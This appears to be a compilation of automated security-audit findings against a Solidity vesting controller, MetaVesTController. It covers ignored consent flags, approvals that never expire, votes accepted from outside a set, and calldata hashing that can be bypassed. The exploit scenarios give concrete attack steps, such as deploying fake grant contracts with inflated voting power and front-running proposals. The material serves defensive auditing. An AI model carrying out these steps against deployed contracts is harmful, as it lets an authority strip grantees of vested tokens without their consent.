voteOnMetavestAmendment, require that_grantis a member ofsets[_setName]and, better, a grant this controller created (record created allocations in a mapping insidecreateMetavestand check it everywhere a_grantis accepted). RestrictaddMetaVestToSetto controller-created grants and require the grantee's consent, or make set membership part of the grant terms at creation. InconsentCheck, enforcetime + AMENDMENT_TIME_LIMIT, snapshot the member list at proposal time so later additions cannot inherit a vote, and clear or mark the set proposal consumed once an amendment executes. Fix the re-proposal check at line 568 to compare against the expiry. Verify with a test where a non-member contract reporting hugegetGoverningPowervotes and the amending call still reverts withMetaVesTController_AmendmentNeitherMutualNorMajorityConsented, and a test where a grant added to the set after the vote cannot be amended.
Claude Security (Sonnet 5.5)
Amendment approvals never expire and are never consumed, and the proposal overwrite check is inverted
src/MetaVesTController.sol:143Predicted severity: Medium- Root cause
-
Vulnerable symbol: consentCheck
Offending code:
MajorityAmendmentProposal memory proposal = functionToSetMajorityProposal[msg.sig][set];
- Impact
-
Stale consent is honored long after the voting window, and for grants that joined the set later. A one-time approval gives the authority a standing, reusable right to amend. The authority can add a victim's grant to the set (addMetaVestToSet) and reuse the old approval on it. Governance for that function and set is also permanently locked to the first proposal's hash.
- Description
-
The README states that amendment proposals have a one-week expiry. In the set path
consentChecknever checks the proposal time._checkFunctionToTokenToAmendmentTimeis used only in voteOnMetavestAmendment._resetAmendmentParamsclears only the individual-path mapping, so a set approval persists indefinitely. Also CWE-613: The majority path of consentCheck reads the proposal and checks only isPending, the vote counts and the hash. It never checks the AMENDMENT_TIME_LIMIT, which is enforced only inside voteOnMetavestAmendment. _resetAmendmentParams (line 612) deletes only functionToGranteeToAmendmentPending, never functionToSetMajorityProposal. The guard at line 568 (pending && block.timestamp > time) also makes a pending set proposal impossible to replace after its creation block. Also CWE-294: The majority branch of consentCheck loads the stored proposal and checks only isPending, voting power and the hash. It never compares proposal.time with AMENDMENT_TIME_LIMIT, and nothing clears the proposal after execution, because _resetAmendmentParams deletes only the per-grantee mapping. A single approval therefore acts as a permanent, reusable authorization token. - Exploit scenario
-
A set proposal is approved once. After the one-week window, and after governing power has shifted or new grants have been added to the set via addMetaVestToSet, the authority keeps calling the guarded functions for any member. Each call passes because isPending stays true and the stored votes and hash never change. The authority can repeat the call and apply it to grantees who never voted and were not in the original electorate. The same is true of individual consents, which carry no timestamp, despite the README's stated one-week expiry.
- Recommendation
-
In consentCheck, require
block.timestamp < proposal.time + AMENDMENT_TIME_LIMIT. Delete or consume the set proposal after use, or bind it to the set membership snapshot. Store a timestamp in AmendmentProposal for the individual path. Fix the guard in proposeMajorityMetavestAmendment to revert only whileblock.timestamp < time + AMENDMENT_TIME_LIMIT. Also CWE-613: Store and check an expiry in consentCheck. Delete or invalidate the set proposal after execution. Fix the replacement guard to compare against time + AMENDMENT_TIME_LIMIT, and clear isPending on expiry. Add an expiry timestamp to individual AmendmentProposals. Also CWE-294: Enforceblock.timestamp < proposal.time + AMENDMENT_TIME_LIMITin consentCheck for both the majority and per-grantee paths. Consume or clear the majority proposal (or track per-grant execution) after use. Fix the supersede condition in proposeMajorityMetavestAmendment so it reverts only while the proposal has not expired. Bind each approval to a proposal id or nonce.
Claude Security (Opus 5.5)
Majority consent passes with zero votes when the snapshot voting power is 0, and is not tied to current set membership
src/MetaVesTController.sol:146Predicted severity: High- Root cause
-
Vulnerable symbol: consentCheck
Preconditions: Attacker is the authority (proposals and set management are onlyAuthority); The target set's governing power is 0 at proposal time, or the authority can move the victim into such a set
Offending code:
if (!proposal.isPending || proposal.totalVotingPower>proposal.currentVotingPower*2 || keccak256(_data[_data.length - 32:]) != proposal.dataHash ) {
- Impact
-
The authority can impose any consent-gated amendment on any grantee without a single vote, for example freezing vested tokens with an unlock rate of 0, raising option or repurchase prices, or removing milestones.
- Description
-
Consent counts as given whenever
totalVotingPower <= currentVotingPower*2.totalVotingPoweris a snapshot of the set's members taken when the proposal was made (lines 572-574). If that snapshot is 0, the check passes with no votes at all. The check is never re-run against who is in the set when the amendment executes, and exactly 50% also passes despite the documented '>50%' rule. Also CWE-20: For grants in a set, consentCheck compares the voted dataHash with keccak256 of only the last 32 bytes of the raw msg.data. The function itself reads its arguments through the ABI decoder, which ignores extra trailing calldata. The authority can therefore pass any _grant and parameter value and append the approved 32-byte word at the end, and the privileged onlyController call on the allocation then runs with values that were never voted on. Also CWE-436: The authority supplies msg.data, which is untrusted with respect to grantee consent. The consent check hashes only the trailing 32-byte word of msg.data (line 146; proposals store the same slice at line 580). The ABI decoder reads the amendment value at fixed offset 0x24 and ignores any extra trailing calldata. So the authority can put an arbitrary value in the decoded slot and append the majority-approved word at the end, and the check still passes. Also CWE-190:voteOnMetavestAmendment(lines 589-607) accepts any_grantcontract. It only checks thatgrantee() == msg.senderand never checks that the contract is an allocation in_setName, so the attacker sets thegetGoverningPower()value. That value is added toproposal.currentVotingPowerat line 606, and line 146 then computescurrentVotingPower*2with checked arithmetic. If the total is 2^255 or more, every call that goes throughconsentCheckpanics and reverts. Also CWE-1023: For grants in a set, consentCheck compares only the last 32-byte word of msg.data (_data[_data.length - 32:]) against the proposal hash, which is also built from only the last word (line 580). Solidity's ABI decoder ignores extra calldata after the arguments. So the bytes the consent check reads are not the bytes that become the function arguments. Also CWE-345: Line 580 commits the majority proposal to keccak256 of only the last 32 raw bytes of the proposed calldata, and line 146 checks the live msg.data the same way. The real arguments are ABI-decoded from fixed offsets (bytes 4..68), and Solidity ignores extra trailing calldata. The hash therefore does not bind the values that actually execute, and the authority can supply any argument while appending the approved word as trailing bytes. - Exploit scenario
-
The authority calls
createSet("evil")and thenproposeMajorityMetavestAmendment("evil", updateMetavestUnlockRate.selector, abi.encodeWithSelector(sel, victim, 0)). The set is empty, sototalVotingPoweris 0. It removes the victim's grant from its current set, if any, and callsaddMetaVestToSet("evil", victim). It then callsupdateMetavestUnlockRate(victim, 0).consentCheckfinds the victim in "evil", seesisPending, evaluates0 > 0as false, matches the last-32-byte hash, and runs the amendment. The same happens without any set manipulation for a set of new token-option grants: the defaultgovTypeisvestedand they have 0 governing power until exercise, so any majority proposal for them passes as soon as it is made. - Recommendation
-
Reject proposals with
totalVotingPower == 0and require a strict majority (currentVotingPower*2 > totalVotingPower). Bind each proposal to a frozen member list or snapshot so grants added after the proposal cannot be amended under it, and do not let the authority change a grant's set membership while proposals that affect it are pending. Also CWE-20: Do not authorize by hashing a slice of raw msg.data. Store the full keccak256 of the exact intended calldata (or of abi.encode of the decoded parameters) in the proposal. In consentCheck, recompute the hash from the decoded arguments and also bind the msg.sig and the set. At minimum, require msg.data.length to equal the canonical ABI length for the function, compare against the full calldata, delete the majority proposal after it is executed, and enforce AMENDMENT_TIME_LIMIT at execution time. Also CWE-436: Bind consent to the decoded parameters rather than raw calldata. For example, store keccak256(abi.encode(selector, value)) in the proposal and recompute it inside each function from the decoded argument. Alternatively, require msg.data.length to equal the exact ABI length (4 + 64) before hashing. Also check in proposeMajorityMetavestAmendment that _callData[0:4] == _msgSig. Also CWE-190: InvoteOnMetavestAmendment, only accept a_grantthat is a member ofsets[_setName]and was deployed by this controller's factories. Take voting power from that verified allocation, and cap the total so thatcurrentVotingPowercan never exceedtotalVotingPower. Compare votes without the possibly overflowing multiplication, for exampleproposal.currentVotingPower <= proposal.totalVotingPower - proposal.currentVotingPower. Also fix the inverted re-proposal guard at line 568 so that expired or poisoned proposals can be replaced. Also CWE-1023: Bind the full calldata. Store keccak256(_callData) at proposal time and compare it against keccak256(msg.data). Better, store the decoded new value and require it to equal the executed argument. Also reject msg.data whose length differs from the expected ABI-encoded length. Clear the majority proposal after execution and check its expiry. Also CWE-345: Bind the commitment to the full decoded intent, not to raw trailing bytes. For example, store keccak256(abi.encode(<decoded argument(s)>)) at proposal time and recompute it inside each amending function from its decoded parameters. Alternatively, require msg.data.length to equal the exact expected ABI length and hash msg.data[36:] (everything after the selector and grant). Reject proposals whose _callData length differs from the canonical encoding.
-
The grantee cannot revoke consent to the amendment metavest-9 · 9 writeups Medium
V12
Rejecting amendments grants consent instead
src/MetaVesTController.sol:185Predicted severity: Medium- Root cause
-
consentToMetavestAmendmenthardcodes the consent flag totrueinstead of storing_inFavor, conflating rejection and approval. - Impact
-
An authority can execute economic or transferability changes that the grantee explicitly rejected or attempted to revoke. For example, a proposed zero unlock rate can pass the consent gate after a false response and prevent further scheduled unlocking; execution still requires the authority role.
- Description
-
consentToMetavestAmendmentverifies that an amendment is pending and the caller is the allocation's current grantee, but always storesinFavor = true. The supplied_inFavorvalue is used only in the event and never controls the stored consent. Consequently, an initial rejection with_inFavor = falseauthorizes the amendment, and a later revocation leaves an existing authorization intact. The individual branch ofconsentCheckthen accepts the proposed calldata because it reads that storedinFavorvalue. This permits an authority to apply a rejected amendment, subject to any separately configured conditions.
Codex Security (GPT-6 Sol)
Rejecting an amendment records approval and lets the authority execute it
src/MetaVesTController.sol:191Predicted severity: High- Root cause
-
The consent endpoint accepts a boolean response but writes inFavor=true unconditionally. Later amendment execution reads that stored value as approval, so a false response or attempted revocation has the opposite effect.
- Impact
-
The authority can change price, vesting rate, unlock rate, transferability, milestone and governance terms over an affected grantee's express rejection.
- Description
-
A grantee who rejects or revokes a proposed amendment inadvertently authorizes it because consentToMetavestAmendment stores true regardless of _inFavor.
- Exploit scenario
-
Grantee _inFavor=false → unconditional inFavor=true → consentCheck → authority amendment
- Recommendation
-
Store _inFavor exactly as supplied and test rejection and revocation before every individual-consent amendment.
Pashov (Claude Opus 5.5 high)
Individual consent can be redirected by front-running: consentToMetavestAmendment doesn't bind to the proposal content and ignores _inFavor
src/MetaVesTController.sol:185Predicted severity: Medium- Root cause
-
Consent is bound to (msgSig, grant) only, not to the proposal hash, and the _inFavor parameter is ignored.
- Impact
-
Grantees end up consenting to amendments they never saw (e.g. vesting rate 0, a much higher exercise price, removal of milestones), and they cannot withdraw consent if authority delays or breaches.
- Description
-
consentToMetavestAmendment sets inFavor = true whatever the _inFavor argument, so a grantee can never revoke consent, which contradicts the documented intent. It also doesn't take the dataHash being consented to. proposeMetavestAmendment silently overwrites any pending proposal. Authority can watch the mempool and replace a benign proposal with a malicious one just before the grantee's consent transaction is mined.
- Exploit scenario
-
Authority proposes updateMetavestVestingRate(grant, sameRate*2). The grantee submits consentToMetavestAmendment. Authority front-runs with proposeMetavestAmendment(grant, sel, calldata for rate 0); the consent is applied to the new hash and authority executes it.
- Recommendation
-
Store
inFavor = _inFavorand require the grantee to pass the expected dataHash, verifying it matches the pending proposal.
Pashov (Codex GPT-6 Sol high)
Consent revocation is ignored
src/MetaVesTController.sol:185Predicted severity: Medium- Root cause
-
The function always assigns inFavor=true instead of _inFavor.
- Impact
-
An unwanted authority amendment remains executable after the grantee revokes consent.
- Description
-
A grantee calling consentToMetavestAmendment with false remains recorded as consenting.
- Exploit scenario
-
Propose an amendment, obtain consent, have the grantee call false to revoke, then execute the same amendment.
- Recommendation
-
Assign the supplied _inFavor value.
Devin Security
Grantee consent cannot be withdrawn because
_inFavoris ignoredsrc/MetaVesTController.sol:185Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A grantee who agreed to an amendment cannot take that consent back, so the authority can still carry out the change after the grantee tries to revoke it.
##### What's wrong
This is a logic bug.
consentToMetavestAmendmentalways writesinFavor = trueno matter what_inFavoris. The emitted event still reports the value the grantee passed, so the logs look like the consent was revoked.##### Who can do it
Alice, a grantee at Acme, consents to a vesting-rate change. Acme then breaks a side agreement, so Alice calls
consentToMetavestAmendment(grant, sig, false). The event showsfalse, but the stored value staystrue. The Acme authority then executes the change.- The grant is not in any set, so it uses individual consent.
- The grantee consented once before.
##### What they get
The authority can apply the amendment that Alice tried to block. This defeats the documented purpose of the parameter. It affects only grants that have already given consent once.
##### How it works
1. Alice calls
consentToMetavestAmendmentwith_inFavor = false(MetaVesTController.sol:185).2. The function stores
inFavor = true(MetaVesTController.sol:191).3.
consentCheckseesinFavor == trueand lets the authority's call through (MetaVesTController.sol:152-155). - Exploit scenario
-
Not specified.
- Recommendation
-
Store
_inFavorinstead oftrue. Add a test where consent is given and then revoked, and the amendment call reverts.
Devin Security (Deep)
Grantee consent to an amendment cannot be revoked and never expires
src/MetaVesTController.sol:182Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Once a grantee has consented to an amendment the authority can apply it at any later time, even after the grantee has tried to revoke, so a grantee cannot back out of a deal the authority is delaying or has broken.
##### What's wrong
This is a logic bug in the consent flow. consentToMetavestAmendment ignores its _inFavor argument and always writes inFavor = true, and the mutual consent proposal has no timestamp, so consentCheck never applies the one week limit that the README and the function's own comment promise.
##### Who can do it
Alice holds a grant from Acme Corp. Acme's authority proposes lowering her vesting rate as part of a deal, for example in exchange for a bonus milestone. Alice consents. Acme does not deliver the bonus, so Alice calls consentToMetavestAmendment again with _inFavor = false, sees the event report inFavor = false, and believes she has revoked. Months later Mallory, who controls the authority multisig, executes the rate cut.
- Alice consented once to a specific proposal (function selector plus exact calldata).
- The authority has not called proposeMetavestAmendment again for that selector and grant, which would reset the record.
##### What they get
The authority can apply the consented change at any moment of its choosing. Because vesting and unlock amounts are recomputed from the current rate, a rate reduction executed long after consent also claws back tokens that vested in the meantime and were not withdrawn. The grantee's revocation is silently discarded and the emitted event misreports the stored state. The damage is limited to amendments the grantee consented to at some point.
##### How it works
1. The authority calls proposeMetavestAmendment(grant, sig, callData) (MetaVesTController.sol:544-556); the AmendmentProposal struct (MetaVesTController.sol:46-50) has no time field.
2. Alice calls consentToMetavestAmendment(grant, sig, true) (MetaVesTController.sol:185-193); line 191 sets inFavor = true.
3. Alice calls it again with false; line 191 still writes true while line 192 emits inFavor = false.
4. At any later time the authority calls the amending function; consentCheck (MetaVesTController.sol:152-155) checks only inFavor and dataHash, with no time check.
- Exploit scenario
-
Not specified.
- Recommendation
-
Store _inFavor as given (functionToGranteeToAmendmentPending[_msgSig][_grant].inFavor = _inFavor), add a proposal timestamp to AmendmentProposal and reject execution in consentCheck once block.timestamp exceeds time + AMENDMENT_TIME_LIMIT. Verify with tests: consent then revoke and assert the amending call reverts; consent, warp eight days, and assert the amending call reverts.
Claude Security (Sonnet 5.5)
consentToMetavestAmendment ignores the _inFavor argument, so consent can never be withheld or revoked while the event reports the opposite
src/MetaVesTController.sol:191Predicted severity: Medium- Root cause
-
Vulnerable symbol: consentToMetavestAmendment
Preconditions: A pending amendment proposal exists for the grantee; The grantee calls with _inFavor=false
Offending code:
functionToGranteeToAmendmentPending[_msgSig][_grant].inFavor = true;
- Impact
-
The documented ability for a grantee to revoke consent "should authority delay or breach agreement elsewhere" does not work. A grantee who calls it with
falseleaves or sets the consent flag to true while theAmendmentConsentUpdated(..., false)event tells grantees and off-chain monitors that consent was withdrawn.authoritycan then execute the amendment (vesting rate, unlock rate, price, stop times and so on) against the grantee's wishes. - Description
-
The user-supplied
_inFavoris used only in the emitted event. The state write hard-codestrue, so a grantee who calls withfalseto revoke or deny consent actually sets consent to true. Also CWE-20: The grantee-supplied boolean_inFavoris never used to set state. The function writesinFavor = trueunconditionally and only echoes_inFavorin the event. A grantee who passes false to reject or revoke actually grants consent, and the event shows the opposite of the state. Also CWE-863: The grantee-supplied_inFavorflag is used only in the event. The stored authorization state is unconditionally set to true. Also CWE-345: consentToMetavestAmendment takes only (_grant, _msgSig, _inFavor) and sets inFavor on whatever AmendmentProposal is currently stored. proposeMetavestAmendment lets authority overwrite the stored dataHash at any time, so the consent commits to no particular content. Also CWE-367: consentToMetavestAmendment takes only (_grant, _msgSig, _inFavor) and sets inFavor on whatever proposal is currently stored. It does not take or verify the dataHash the grantee reviewed. proposeMetavestAmendment lets the authority overwrite the pending proposal at any time and stores only keccak256(_callData) without emitting the data. - Exploit scenario
-
The grantee consents, then authority breaches the off-chain agreement. The grantee calls
consentToMetavestAmendment(grant, sig, false)to revoke. State remainsinFavor = true, and the event showsfalse.authoritycalls the amendment function andconsentCheckpasses. - Recommendation
-
Write the parameter:
functionToGranteeToAmendmentPending[_msgSig][_grant].inFavor = _inFavor;. Also CWE-20: Store the supplied value:functionToGranteeToAmendmentPending[_msgSig][_grant].inFavor = _inFavor;. Emit the grant or grantee consistently. Consider adding an expiry for single-grantee amendments. Also CWE-863: Set.inFavor = _inFavor. Add an expiry for individual proposals, and ideally bind the consent to the proposal hash. Also CWE-345: Make the consent commit to the content: consentToMetavestAmendment(_grant, _msgSig, bytes32 expectedDataHash, bool _inFavor) must require expectedDataHash == stored dataHash. Store the _inFavor argument (not constant true). Consider invalidating or adding a delay before an overwritten proposal can be consented to. Also CWE-367: Make consentToMetavestAmendment take the expected dataHash (or a proposal nonce) and revert if it differs from the stored value. Emit the full callData in the proposal event, and consider rejecting overwrites of a proposal that has already been consented.
Claude Security (Opus 5.5)
Grantee's _inFavor input is ignored; a rejection or revocation is recorded as consent
src/MetaVesTController.sol:191Predicted severity: Medium- Root cause
-
Vulnerable symbol: consentToMetavestAmendment
Preconditions: The authority has a pending individual amendment proposal for the grant; The grantee calls the function with _inFavor = false to reject or revoke
Offending code:
functionToGranteeToAmendmentPending[_msgSig][_grant].inFavor = true;
- Impact
-
Amendments the grantee explicitly rejected can be executed, and consent can never be revoked. Grantees cannot protect their vesting terms through the consent mechanism, and the misleading event hides this.
- Description
-
The grantee's _inFavor argument is documented as letting the grantee revoke or refuse consent. The function never uses it and always writes inFavor = true, while the event still emits the caller's false value. A grantee who explicitly rejects an amendment therefore enables it. Also CWE-863: The grantee-supplied
_inFavorflag is documented as letting a grantee refuse or later revoke consent. It is ignored, andinFavoris always set to true.consentCheck(line 153) then lets the authority run the amendment. - Exploit scenario
-
The authority proposes an unfavorable individual amendment, for example updateMetavestUnlockRate(grant, 0). The grantee calls consentToMetavestAmendment(grant, sel, false) to reject it, or to withdraw earlier consent. The contract stores inFavor = true, and the emitted event says false, so off-chain monitoring shows a rejection. The authority then calls updateMetavestUnlockRate(grant, 0), passes consentCheck at line 153, and freezes the grantee's unlocks.
- Recommendation
-
Store the supplied value (functionToGranteeToAmendmentPending[_msgSig][_grant].inFavor = _inFavor). Also consider having the grantee pass the expected dataHash, so consent cannot be applied to a proposal that was swapped in front of their transaction. Also CWE-863: Store
_inFavoras given:functionToGranteeToAmendmentPending[_msgSig][_grant].inFavor = _inFavor;.
Vercel Security Review
Rejecting or revoking an amendment records affirmative consent
src/MetaVesTController.sol:191Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. A grantee's false decision is stored as true** -
src/MetaVesTController.sol:191-192```solidity title="src/MetaVesTController.sol:191-192"
functionToGranteeToAmendmentPending[_msgSig][_grant].inFavor = true;
emit MetaVesTController_AmendmentConsentUpdated(_msgSig, msg.sender, _inFavor);
```
For a pending individual amendment, calling with
_inFavor=falseto reject or revoke consent still authorizes it, while emitting an event claiming the opposite.**2. Authority can execute the rejected amendment** -
src/MetaVesTController.sol:152-155```solidity title="src/MetaVesTController.sol:152-155"
AmendmentProposal memory proposal = functionToGranteeToAmendmentPending[msg.sig][_grant];
if (!proposal.inFavor || proposal.dataHash != keccak256(_data)) {
revert MetaVesTController_AmendmentNeitherMutualNorMajorityConsented();
}
```
For grants outside sets, matching calldata now passes consentCheck despite explicit rejection. The authority can change prices, schedules, or transferability without the affected grantee's actual approval.
- Exploit scenario
-
Not specified.
- Recommendation
-
Assign proposal.inFavor = _inFavor and ensure emitted events reflect the stored decision. Cover initial rejection and true-to-false revocation before authority execution.
-
Incorrect calculation about voting power metavest-10 · 8 writeups Medium
V12
Arbitrary contracts can fabricate majority votes
src/MetaVesTController.sol:589Predicted severity: Medium- Root cause
-
Voting authenticates ownership through caller-selected self-reported metadata but never authenticates the allocation's membership in the proposal's electorate. Arbitrary external voting weight is consequently trusted.
- Impact
-
An external account can fabricate sufficient voting power to pass any pending set proposal without consent from the affected set members. Execution remains authority-only, but the authority's majority-consent restriction no longer protects grantees against economic changes such as freezes or option-price increases.
- Description
-
voteOnMetavestAmendmentaccepts a caller-selected_grantand checks its self-reported grantee, but does not check membership in_setNameor registration with this controller. It then adds that address's self-reportedgetGoverningPower()to the named proposal. An ordinary allocation outside the set can therefore vote in its election, and an external account can instead supply a purpose-built contract returning that account as grantee and a chosen voting weight. Duplicate prevention only limits each supplied address to one affirmative vote.consentChecktrusts the resulting accumulated weight when authorizing amendments to actual set members.
Codex Security (GPT-6 Sol)
A grantee outside a set can approve amendments for that set
src/MetaVesTController.sol:591Predicted severity: Medium- Root cause
-
The proposal denominator is computed from set members, but voteOnMetavestAmendment credits power from any grant address whose reported grantee is msg.sender. No set-membership or controller-provenance check binds that grant to the proposal.
- Impact
-
An outside grantee can forge set majority, but execution still requires an authority call against a pending proposal and may be constrained by DAO conditions.
- Description
-
An outsider can add their grant's governing power to another set's majority proposal, allowing an amendment without the affected set's majority.
- Exploit scenario
-
Caller-selected outside _grant → getGoverningPower → currentVotingPower for named set → consentCheck
- Recommendation
-
Require _grant to be a registered member of _setName and bind eligibility and voting power to the proposal snapshot.
Pashov (Claude Opus 5.5 high)
Majority amendment votes accept any metavest, not just members of the set
src/MetaVesTController.sol:589Predicted severity: High- Root cause
-
Missing membership check: the set membership of _grant is never validated.
- Impact
-
The majority-consent protection for set members can be bypassed. Authority (the party the consent mechanism constrains) can create an allocation with itself or a sybil as grantee, or deploy any contract returning grantee()=attacker and a huge getGoverningPower(), and vote. This pushes currentVotingPower*2 past totalVotingPower and lets authority unilaterally change rates, prices, transferability, or milestones for every member of the set.
- Description
-
voteOnMetavestAmendment only checks that msg.sender is the grantee of _grant. It never checks that _grant is in sets[_setName]. Any grantee of any allocation created by this controller (or by any contract exposing grantee()/getGoverningPower()) can add its governing power to another set's proposal. totalVotingPower is snapshotted from set members only.
- Exploit scenario
-
Set 'employees' has total power 1,000,000. Authority deploys a fake contract whose grantee() returns authority and getGoverningPower() returns 1e30, then calls voteOnMetavestAmendment(fake, 'employees', updateMetavestVestingRate.selector, true). Next it calls updateMetavestVestingRate(member, 0) for each member, freezing everyone's vesting.
- Recommendation
-
Require _grant to be in sets[_setName], and snapshot each voter's power at proposal time, or cap total votes at the snapshot.
Pashov (Codex GPT-6 Sol high)
Out-of-set grants can vote on majority amendments
src/MetaVesTController.sol:589Predicted severity: High- Root cause
-
No set-membership check precedes the vote accounting.
- Impact
-
An outsider can fabricate approval for amendments to real grantees. A forged vote of 2**255 also makes the majority multiplication overflow and blocks the proposal from execution.
- Description
-
Voting checks ownership of _grant but never its membership in _setName; its governing power is added to that set's proposal.
- Exploit scenario
-
Deploy a fake grant that reports attacker ownership and 51 governing-power units, then vote on a real set with total power 100; no member needs to vote. A value of 2**255 instead causes execution to revert on overflow.
- Recommendation
-
Verify _grant belongs to sets[_setName] before counting its vote.
Devin Security
Majority amendment votes accept any contract as a voter, so the authority can fake grantee consent
src/MetaVesTController.sol:589Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
The authority, or anyone helping it, can manufacture a fake majority vote and then change vesting rates, unlock rates, prices, or milestones for every grantee in a set without their real consent.
##### What's wrong
This is a broken consent check.
voteOnMetavestAmendmenttrusts whatever address the caller passes as_grant. It only asks that contract who its grantee is and how much voting power it has. It never checks that_grantis a real MetaVesT made by this controller or that it belongs to the set being voted on.##### Who can do it
Alice is a grantee at Acme Corp. Her vesting contract sits in the set "engineering" with other grantees. Mallory controls the Acme authority address and wants to cut Alice's unlock rate to zero. Mallory proposes a majority amendment for the set. She then deploys a tiny contract whose
grantee()returns her own address and whosegetGoverningPower()returns a huge number. She callsvoteOnMetavestAmendmentwith that contract as_grant. The vote passes, and she callsupdateMetavestUnlockRatefor Alice.- Mallory holds the
authorityrole on the controller, which is needed to propose and to execute the amendment.- The target MetaVesT is in a set. The authority can put any MetaVesT into a set at any time with
addMetaVestToSet, which needs no grantee consent.- Anyone can cast the fake vote. Only the final execution needs the authority.
##### What they get
Mallory skips the grantee consent that the contract is built to require. She can freeze Alice's vested tokens forever by setting the unlock rate to zero. She can raise the exercise price on Alice's vested options or lower the repurchase price on her restricted tokens. She can remove milestones. Termination alone cannot do these things, because termination keeps the vested tokens for the grantee. The damage reaches every grantee whose MetaVesT is in, or is added to, a set on this controller.
##### How it works
1. The authority calls
proposeMajorityMetavestAmendment, which stores the total voting power of the real set members (MetaVesTController.sol:571-582).2. The attacker calls
voteOnMetavestAmendmentwith a fake_grant. The only identity check isBaseAllocation(_grant).grantee() != msg.sender, which the fake contract passes (MetaVesTController.sol:591).3. The function adds the fake contract's self-reported
getGoverningPower()tocurrentVotingPowerwithout checking set membership (MetaVesTController.sol:595-606).4. The authority calls a consent-gated function.
consentCheckseescurrentVotingPower*2 >= totalVotingPowerand lets the call through (MetaVesTController.sol:146). - Exploit scenario
-
Not specified.
- Recommendation
-
In
voteOnMetavestAmendment, require that_grantis listed insets[_setName]and that the controller deployed it (for example, keep aisMetavestmapping that the create functions fill). Do not let a single vote come from an address outside the set. Consider snapshotting each member's power when the proposal is made. Add a test that votes with a mock contract outside the set and confirm the vote reverts and the amendment call still failsconsentCheck.
Devin Security (Deep)
Majority amendment votes accept any caller-supplied grant contract, so anyone can pass a set-wide proposal
src/MetaVesTController.sol:589Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone can push a pending set-wide amendment past its voting threshold by voting with a grant contract they deployed themselves, which lets the authority apply changes to every grant in the set without any real grantee consent.
##### What's wrong
This is a missing resource ownership check. voteOnMetavestAmendment trusts the caller-supplied _grant address: it only checks that the contract's grantee() returns the caller and then adds whatever that contract's getGoverningPower() returns to the proposal. It never checks that _grant is a member of _setName, or that this controller created it.
##### Who can do it
Acme Corp runs a controller; Alice, Bob and Carol hold grants in the set "eng". The authority proposes a set-wide amendment for "eng". Mallory, who controls Acme's authority multisig or simply wants to help it, deploys her own VestingAllocation through the public VestingAllocationFactory, naming herself grantee with an enormous vesting cliff, and votes with it. The proposal passes at once no matter how Alice, Bob and Carol vote.
- A set-wide proposal is pending for the (function, set) pair, created by the authority.
- The voter can deploy a contract, or holds any grant from any set or any other controller; no token balance is needed.
- Applying the passed amendment still requires the authority role, so in practice the attacker is the authority or someone colluding with it.
##### What they get
The authority can apply any amendable change to every grant in the set with zero genuine consent: vesting rate, unlock rate, exercise or repurchase price, stop times, milestone removal, transferability and governing power type. Because rates apply retroactively, setting the vesting rate to zero and then terminating lets Acme recover tokens that had already vested but were not withdrawn, and setting the repurchase price to 1 wei and terminating lets Acme buy back all unvested restricted tokens for nothing. Grantees in other sets, or of other controllers, can also vote on "eng" proposals.
##### How it works
1. The authority calls proposeMajorityMetavestAmendment("eng", sig, data) (MetaVesTController.sol:562-584) and the total power of the real members is snapshotted.
2. Mallory calls VestingAllocationFactory.createAllocation (VestingAllocationFactory.sol:9-24) with grantee = Mallory, any controller address, tokenStreamTotal and vestingCliffCredit near 2^128, and vestingStartTime 0; the VestingAllocation constructor (VestingAllocation.sol:23-26) only caps vestingRate, so getGoverningPower (VestingAllocation.sol:51-67) returns about 3.4e38. Any hand-written contract exposing grantee() and getGoverningPower() works too.
3. Mallory calls voteOnMetavestAmendment(fake, "eng", sig, true) (MetaVesTController.sol:589-608). Line 591 passes because grantee() is Mallory, lines 592-594 pass because the proposal is pending and fresh, line 595 reads the huge power, and lines 604-606 add it to currentVotingPower.
4. The authority calls the amending function; consentCheck (MetaVesTController.sol:146) sees totalVotingPower far below currentVotingPower*2 and allows it for every grant in "eng".
- Exploit scenario
-
Not specified.
- Recommendation
-
In voteOnMetavestAmendment require that _grant is an element of sets[_setName] (loop or maintain a membership mapping), and keep a mapping of allocations created by this controller so foreign contracts are rejected everywhere a _grant is accepted. Prefer snapshotting each member's power at proposal time rather than reading live power from a caller-supplied address. Verify with a test that deploys an allocation through the factory, votes with it on a set it does not belong to, and asserts the vote reverts.
Claude Security (Opus 5.5)
Majority consent passes with zero votes when the snapshot voting power is 0, and is not tied to current set membership
src/MetaVesTController.sol:146Predicted severity: High- Root cause
-
Vulnerable symbol: consentCheck
Preconditions: Attacker is the authority (proposals and set management are onlyAuthority); The target set's governing power is 0 at proposal time, or the authority can move the victim into such a set
Offending code:
if (!proposal.isPending || proposal.totalVotingPower>proposal.currentVotingPower*2 || keccak256(_data[_data.length - 32:]) != proposal.dataHash ) {
- Impact
-
The authority can impose any consent-gated amendment on any grantee without a single vote, for example freezing vested tokens with an unlock rate of 0, raising option or repurchase prices, or removing milestones.
- Description
-
Consent counts as given whenever
totalVotingPower <= currentVotingPower*2.totalVotingPoweris a snapshot of the set's members taken when the proposal was made (lines 572-574). If that snapshot is 0, the check passes with no votes at all. The check is never re-run against who is in the set when the amendment executes, and exactly 50% also passes despite the documented '>50%' rule. Also CWE-20: For grants in a set, consentCheck compares the voted dataHash with keccak256 of only the last 32 bytes of the raw msg.data. The function itself reads its arguments through the ABI decoder, which ignores extra trailing calldata. The authority can therefore pass any _grant and parameter value and append the approved 32-byte word at the end, and the privileged onlyController call on the allocation then runs with values that were never voted on. Also CWE-436: The authority supplies msg.data, which is untrusted with respect to grantee consent. The consent check hashes only the trailing 32-byte word of msg.data (line 146; proposals store the same slice at line 580). The ABI decoder reads the amendment value at fixed offset 0x24 and ignores any extra trailing calldata. So the authority can put an arbitrary value in the decoded slot and append the majority-approved word at the end, and the check still passes. Also CWE-190:voteOnMetavestAmendment(lines 589-607) accepts any_grantcontract. It only checks thatgrantee() == msg.senderand never checks that the contract is an allocation in_setName, so the attacker sets thegetGoverningPower()value. That value is added toproposal.currentVotingPowerat line 606, and line 146 then computescurrentVotingPower*2with checked arithmetic. If the total is 2^255 or more, every call that goes throughconsentCheckpanics and reverts. Also CWE-1023: For grants in a set, consentCheck compares only the last 32-byte word of msg.data 